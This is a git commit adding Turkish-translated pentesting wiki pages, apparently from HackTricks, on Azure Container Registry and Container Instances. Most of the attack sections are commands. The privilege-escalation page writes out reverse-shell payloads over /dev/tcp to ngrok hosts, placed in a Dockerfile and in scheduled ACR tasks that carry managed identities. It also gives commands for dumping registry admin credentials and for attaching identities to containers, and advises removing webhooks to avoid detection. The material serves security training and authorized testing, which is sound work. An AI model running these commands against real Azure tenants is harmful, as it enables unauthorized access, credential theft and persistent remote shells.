Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-01-12 18:44:30 +00:00
parent 743e969c9d
commit 5db2a03925
6 changed files with 389 additions and 4 deletions
+8 -4
View File
@@ -408,6 +408,8 @@
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md)
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
@@ -445,7 +447,7 @@
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-post-exploitation.md)
- [Az - CosmosDB](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
@@ -460,14 +462,16 @@
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-services/az-container-registry-privesc.md)
- [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-services/az-container-instances-privesc.md)
- [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
- [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
- [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
- [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
- [Az - MySQL Privesc](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
- [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
- [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
- [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md)
- [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md)
Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

@@ -0,0 +1,64 @@
# Az - Azure Container Instances Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Azure Container Instances
Daha fazla bilgi için kontrol edin:
{{#ref}}
../az-services/az-container-instances.md
{{#endref}}
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
Bu izinler, kullanıcının **çalışan bir konteynerde bir komut çalıştırmasına** olanak tanır. Bu, konteynerde herhangi bir yönetilen kimlik varsa **yetki yükseltmek** için kullanılabilir. Elbette, konteynerin içinde depolanan kaynak koduna ve diğer hassas bilgilere erişmek de mümkündür.
Bir `ls` komutu çalıştırmak ve çıktısını almak oldukça basittir:
```bash
az container exec --name <container-name> --resource-group <res-group> --exec-command 'ls'
```
Aynı zamanda konteynerin **çıkışını okumak** da mümkündür:
```bash
az container attach --name <container-name> --resource-group <res-group>
```
Veya logları şu şekilde alabilirsiniz:
```bash
az container logs --name <container-name> --resource-group <res-group>
```
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Bu izinler, bir **kullanıcı yönetilen kimliğini** bir konteyner grubuna eklemeye olanak tanır. Bu, konteynerde ayrıcalıkları artırmak için çok faydalıdır.
Bir kullanıcı yönetilen kimliğini bir konteyner grubuna eklemek için:
```bash
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"
```
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Bu izinler, **bir kullanıcı yönetilen kimliği** eklenmiş bir **konteyner grubunu oluşturma veya güncelleme** olanağı sağlar. Bu, konteynerde ayrıcalıkları artırmak için çok faydalıdır.
```bash
az container create \
--resource-group <res-group>> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0
```
Ayrıca, mevcut bir konteyner grubunu güncellemek de mümkündür; örneğin, bir ters shell ile **`--command-line` argümanını** ekleyerek.
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,115 @@
# Az - Azure Container Registry Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Azure Container Registry
Daha fazla bilgi için kontrol edin:
{{#ref}}
../az-services/az-container-registry.md
{{#endref}}
### `Microsoft.ContainerRegistry/registries/listCredentials/action`
Bu izin, kullanıcının ACR'nin yönetici kimlik bilgilerini listelemesine olanak tanır. Bu, kayıt defteri üzerinde **tam erişim elde etmek** için faydalıdır.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
```
Eğer admin kimlik bilgileri etkin değilse, bunları etkinleştirmek için `Microsoft.ContainerRegistry/registries/write` iznine de ihtiyacınız olacak:
```bash
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
```
### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action`
Bu izinler, kullanıcının **kayıt defterine erişmek için şifrelerle yeni bir token oluşturmasına** olanak tanır.
Aşağıdaki örnekte olduğu gibi `az cli` kullanarak bunu oluşturmak için ayrıca `Microsoft.ContainerRegistry/registries/read`, `Microsoft.ContainerRegistry/registries/scopeMaps/read`, `Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`, `Microsoft.ContainerRegistry/registries/tokens/read` izinlerine de ihtiyacınız olacak.
```bash
az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin
```
### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action`
Bu izinler, kullanıcının **kayıt defterinde bir görüntü oluşturmasına ve çalıştırmasına** olanak tanır. Bu, konteynerde **kod çalıştırmak için** kullanılabilir.
>[!WARNING]
> Ancak, görüntü **sandbox ortamında** ve **metadata hizmetine erişim olmadan** çalıştırılacaktır. Bu, konteynerin **örnek metadata'sına** erişimi olmayacağı anlamına gelir, bu nedenle bu, ayrıcalıkları yükseltmek için gerçekten faydalı değildir.
```bash
# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
```
### `Microsoft.ContainerRegistry/registries/tasks/write`
Bu, kayıt defterinde bir görev oluşturma ve güncelleme izni veren ana izindir. Bu, **buna bağlı bir yönetilen kimlik ile bir konteyner içinde bir kodu çalıştırmak için** kullanılabilir.
Bu, **sistem yönetilen** kimliği ile bir konteynerde bir ters shell çalıştırmanın bir örneğidir:
```bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
```
Bir görevi dış bir depo kullanmadan RCE elde etmenin başka bir yolu, `az acr task create` komutunu `--cmd` bayrağı ile kullanmaktır. Bu, konteynerde bir komut çalıştırmanıza olanak tanır. Örneğin, aşağıdaki komutla bir ters shell çalıştırabilirsiniz:
```bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity
```
> [!TIP]
> Sistem yönetilen kimliğini atamak için özel bir izne ihtiyacınız olmadığını unutmayın, ancak bunun önce kayıt defterinde etkinleştirilmiş ve kullanışlı olması için bazı izinler atanmış olması gerekir.
Ayrıca bir **kullanıcı yönetilen kimliği atamak için** `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` iznine ihtiyacınız olacaktır:
```bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
```
Mevcut bir görevin reposunu **güncellemek** için şunları yapabilirsiniz:
```bash
az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git
```
### `Microsoft.ContainerRegistry/registries/importImage/action`
Bu izinle, **görüntüyü azure kayıt defterine içe aktarmak** mümkündür, hatta görüntü yerel olarak mevcut olmasa bile. Ancak, **kayıt defterinde zaten mevcut olan bir etiketle görüntü içe aktaramayacağınızı** unutmayın.
```bash
# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
```
Belirli bir **görüntü etiketini etiketini kaldırmak veya silmek** için aşağıdaki komutu kullanabilirsiniz. Ancak, bunu yapmak için **yeterli izinlere** sahip bir kullanıcı veya token'a ihtiyacınız olacağını unutmayın:
```bash
az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>
az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,45 @@
# Az - Container Instances
{{#include ../../../../banners/hacktricks-training.md}}
## Temel Bilgiler
Azure Container Instances (ACI), Azure bulutunda **kapsayıcıları** çalıştırmak için **sunucusuz, talep üzerine bir yol** sunar. **Tekil veya bir grup içinde birden fazla kapsayıcıyı** **dağıtabilirsiniz** ve **ölçeklenebilir hesaplama**, **ağ seçenekleri** ve **diğer Azure hizmetleri** (Depolama, Sanal Ağlar veya Kapsayıcı Kayıtları gibi) ile bağlantı kurma esnekliğine sahip olursunuz.
**Geçici** iş yükleri oldukları için, temel VM altyapısını yönetmenize gerek yoktur — Azure bunu sizin için halleder. Ancak, **saldırgan güvenlik perspektifi** açısından, **izinler**, **kimlikler**, **ağ yapılandırmaları** ve **loglar** gibi unsurların saldırı yüzeylerini ve potansiyel yanlış yapılandırmaları nasıl ortaya çıkarabileceğini anlamak kritik öneme sahiptir.
### Yapılandırmalar
- Bir kapsayıcı oluşturmak için bir genel görüntü, bir Azure Container Registry'den bir kapsayıcı görüntüsü veya bir dış havuz kullanmak mümkündür; bu, erişim için **şifre yapılandırması** gerektirebilir.
- Ağ ile ilgili olarak, **genel IP** veya **özel uç noktalar** olabilir.
- Ayrıca, aşağıdaki gibi yaygın docker ayarlarını yapılandırmak da mümkündür:
- **Ortam değişkenleri**
- **Hacimler** (Azure Files'dan bile)
- **Portlar**
- **CPU ve bellek sınırları**
- **Yeniden başlatma politikası**
- **Yetkili olarak çalıştır**
- **Çalıştırılacak komut satırı**
- ...
## Sayım
> [!WARNING]
> ACI'yi sayarken, **ortam değişkenleri**, **ağ detayları** veya **yönetilen kimlikler** gibi hassas yapılandırmaları ortaya çıkarabilirsiniz. Bunları kaydetme veya görüntüleme konusunda dikkatli olun.
```bash
# List all container instances in the subscription
az container list
# Show detailed information about a specific container instance
az container show --name <container-name> --resource-group <res-group>
# Fetch logs from a container
az container logs --name <container-name> --resource-group <res-group>
# Execute a command in a running container and get the output
az container exec --name <container-name> --resource-group <res-group> --exec-command "ls"
# Get yaml configuration of the container group
az container export --name <container-name> --resource-group <res-group>
```
@@ -0,0 +1,157 @@
# Az - Container Registry
{{#include ../../../../banners/hacktricks-training.md}}
## Temel Bilgiler
Azure Container Registry (ACR), **Azure bulutunda konteyner görüntülerini depolamanıza, yönetmenize ve erişmenize** olanak tanıyan güvenli, özel bir kayıttır. Birçok Azure hizmetiyle sorunsuz bir şekilde entegre olur ve ölçeklenebilir otomatik yapı ve dağıtım iş akışları sağlar. Coğrafi çoğaltma ve güvenlik açığı taraması gibi özelliklerle, ACR, konteynerleştirilmiş uygulamalar için kurumsal düzeyde güvenlik ve uyumluluk sağlamaya yardımcı olur.
### İzinler
Bir Container Registry üzerinde verilebilecek **farklı izinler** [belgelere göre](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager):
- Erişim Kaynak Yöneticisi
- Kayıt oluşturma/silme
- Görüntü yükleme
- Görüntü indirme
- Görüntü verilerini silme
- Politika değiştirme
- Görüntüleri imzalama
Ayrıca atanabilecek bazı **yerleşik roller** vardır ve **özel roller** oluşturmak da mümkündür.
![](</images/registry_roles.png>)
### Kimlik Doğrulama
> [!WARNING]
> Kayıt adında büyük harfler bulunsa bile, her zaman **küçük harfler** kullanarak giriş yapmanız, görüntü yüklemeniz ve indirmeniz çok önemlidir.
ACR'ye kimlik doğrulamak için 4 yol vardır:
- **Entra ID ile**: Bu, ACR'ye kimlik doğrulamak için **varsayılan** yoldur. ACR'ye kimlik doğrulamak için **`az acr login`** komutunu kullanır. Bu komut, **`~/.docker/config.json`** dosyasında **kimlik bilgilerini saklar**. Ayrıca, bu komutu bir **bulut kabuğu** gibi bir docker soketine erişimi olmayan bir ortamda çalıştırıyorsanız, ACR'ye kimlik doğrulamak için **`--expose-token`** bayrağını kullanarak **token** almanız mümkündür. Ardından kimlik doğrulamak için kullanıcı adı olarak `00000000-0000-0000-0000-000000000000` kullanmalısınız: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Bir yönetici hesabı ile**: Yönetici kullanıcı varsayılan olarak devre dışıdır, ancak etkinleştirilebilir ve ardından kayıt defterine tam izinlerle yönetici hesabının **kullanıcı adı** ve **şifresi** ile erişim sağlanabilir. Bazı Azure hizmetleri bunu kullandığı için bu hala desteklenmektedir. Bu kullanıcı için **2 şifre** oluşturulur ve her ikisi de geçerlidir. Bunu `az acr update -n <acrName> --admin-enabled true` ile etkinleştirebilirsiniz. Kullanıcı adının genellikle kayıt adı olduğunu unutmayın (ve `admin` değildir).
- **Bir token ile**: Kayıt defterine erişmek için **belirli bir `scope map`** (izinler) ile bir **token** oluşturmak mümkündür. Ardından, bu token adını kullanıcı adı olarak ve oluşturulan şifrelerden birini kullanarak kayıt defterine kimlik doğrulamak için `docker login -u <registry-name> -p <password> aregistry-url>` komutunu kullanabilirsiniz.
- **Bir Hizmet Prensibi ile**: Bir **hizmet prensibi** oluşturmak ve görüntüleri çekmek için **`AcrPull`** gibi bir rol atamak mümkündür. Ardından, SP appId'sini kullanıcı adı olarak ve oluşturulan bir gizli anahtarı şifre olarak kullanarak **kayıt defterine giriş yapmak** mümkün olacaktır.
Kayıt defterine erişim sağlayan bir SP oluşturmak için [belgelerden](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) örnek bir komut dosyası:
```bash
#!/bin/bash
ACR_NAME=$containerRegistry
SERVICE_PRINCIPAL_NAME=$servicePrincipal
# Obtain the full registry ID
ACR_REGISTRY_ID=$(az acr show --name $ACR_NAME --query "id" --output tsv)
PASSWORD=$(az ad sp create-for-rbac --name $SERVICE_PRINCIPAL_NAME --scopes $ACR_REGISTRY_ID --role acrpull --query "password" --output tsv)
USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].appId" --output tsv)
echo "Service principal ID: $USER_NAME"
echo "Service principal password: $PASSWORD"
```
### Şifreleme
Sadece **Premium SKU**, görüntüler ve diğer nesneler için **veri dinleniminde şifreleme** desteği sunar.
### Ağ
Sadece **Premium SKU**, **özel uç noktalar** destekler. Diğerleri yalnızca **genel erişim** destekler. Genel bir uç nokta `<registry-name>.azurecr.io` formatındadır ve özel bir uç nokta `<registry-name>.privatelink.azurecr.io` formatındadır. Bu nedenle, kayıt defterinin adı tüm Azure genelinde benzersiz olmalıdır.
### Microsoft Defender for Cloud
Bu, kayıt defterindeki **görüntüleri** **zafiyetler** için **taramanıza** olanak tanır.
### Yumuşak silme
**Yumuşak silme** özelliği, belirtilen gün sayısı içinde **silinmiş bir kayıt defterini** **geri yüklemenize** olanak tanır. Bu özellik **varsayılan olarak devre dışıdır**.
### Webhook'lar
Kayıt defterleri içinde **webhook'lar** oluşturmak mümkündür. Bu webhook'ta, bir **push veya silme işlemi gerçekleştirildiğinde bir isteğin gönderileceği URL'yi** belirtmek gerekir. Ayrıca, Webhook'lar etkilenecek depoları (görüntüleri) belirtmek için bir kapsam gösterebilir. Örneğin, 'foo:*' 'foo' deposundaki olayları ifade eder.
Saldırganlar açısından, kayıt defterinde herhangi bir işlem gerçekleştirmeden önce bunu kontrol etmek ve gerekirse geçici olarak kaldırmak ilginçtir, böylece tespit edilmekten kaçınılır.
### Bağlı kayıt defterleri
Bu, bir kayıt defterinden diğerine, genellikle yerel olarak bulunan bir kayıt defterine **görüntüleri yansıtmanıza** olanak tanır.
2 modu vardır: **Sadece Okuma** ve **Okuma-Yazma**. İlkinde, görüntüler yalnızca kaynak kayıt defterinden **çekilir**, ikincisinde ise görüntüler kaynak kayıt defterine de **itilebilir**.
Müşterilerin Azure'dan kayıt defterine erişmesi için, bağlı kayıt defteri kullanıldığında bir **token** oluşturulur.
### Çalışmalar & Görevler
Çalışmalar & Görevler, Azure'da genellikle yerel olarak veya bir CI/CD boru hattında yapmanız gereken konteynerle ilgili eylemleri gerçekleştirmenizi sağlar. Örneğin, kayıt defterinde **görüntüleri oluşturabilir, itebilir ve çalıştırabilirsiniz**.
Bir konteyneri oluşturmanın ve çalıştırmanın en kolay yolu, normal bir Çalışma kullanmaktır:
```bash
# Build
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --file Dockerfile .
# Run
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
```
Ancak, bu, saldırganlar açısından çok ilginç olmayan çalışmaları tetikleyecektir çünkü onlara bağlı herhangi bir yönetilen kimlik yoktur.
Ancak, **görevler** bir **sistem ve kullanıcı yönetilen kimliği** ile ilişkilendirilebilir. Bu görevler, konteynerde **yetki yükseltmek** için faydalıdır. Yetki yükseltme bölümünde, görevlerin nasıl kullanılacağını görebilirsiniz.
### Önbellek
Önbellek özelliği, **harici bir depodan görüntüleri indirmeye** ve yeni sürümleri kaydetmeye olanak tanır. Bunun için, Azure Vault'tan kimlik bilgilerini seçerek bazı **kimlik bilgileri yapılandırılmış** olmalıdır.
Bu, saldırganlar açısından çok ilginçtir çünkü yeterli izinlere sahip bir saldırgan, kimlik bilgilerine erişim sağlarsa, **harici bir platforma geçiş yapabilir**, **harici bir depodan görüntüleri indirebilir** ve bir önbellek yapılandırmak **kalıcılık mekanizması** olarak da kullanılabilir.
## Sayım
> [!WARNING]
> Kayıt adının bazı büyük harfler içermesi durumunda, ona erişmek için yalnızca küçük harfler kullanmanız çok önemlidir.
```bash
# List of all the registries
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
az acr list
# Get the details of a registry
az acr show --name <registry-name>
# List tokens of a registry
az acr token list --registry <registry-name> --resource-group <res-group>
# List repositories in a registry
az acr repository list --name <registry-name> --resource-group <res-group>
# List the tags of a repository
az acr repository show-tags --repository <repository-name> --name <registry-name> --resource-group <res-group>
# List deleted repository tags
## At the time of this writing there isn't yet any command to restore it
az acr repository list-deleted --name <registry-name>
# List tasks
## Check the git URL or the command
az acr task list --registry <registry-name>
# List tasks runs
az acr task list-runs --registry <registry-name>
# List connected registries
az acr connected-registry list --registry <registry-name>
# List cache
az acr cache list --registry <registry-name>
# Get cache details
az acr cache show --name <cache-name> --registry <registry-name>
```
## Yetki Yükseltme & Sonrası İstismar
{{#ref}}
../az-privilege-escalation/az-automation-accounts-privesc.md
{{#endref}}
## Referanslar
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)
{{#include ../../../../banners/hacktricks-training.md}}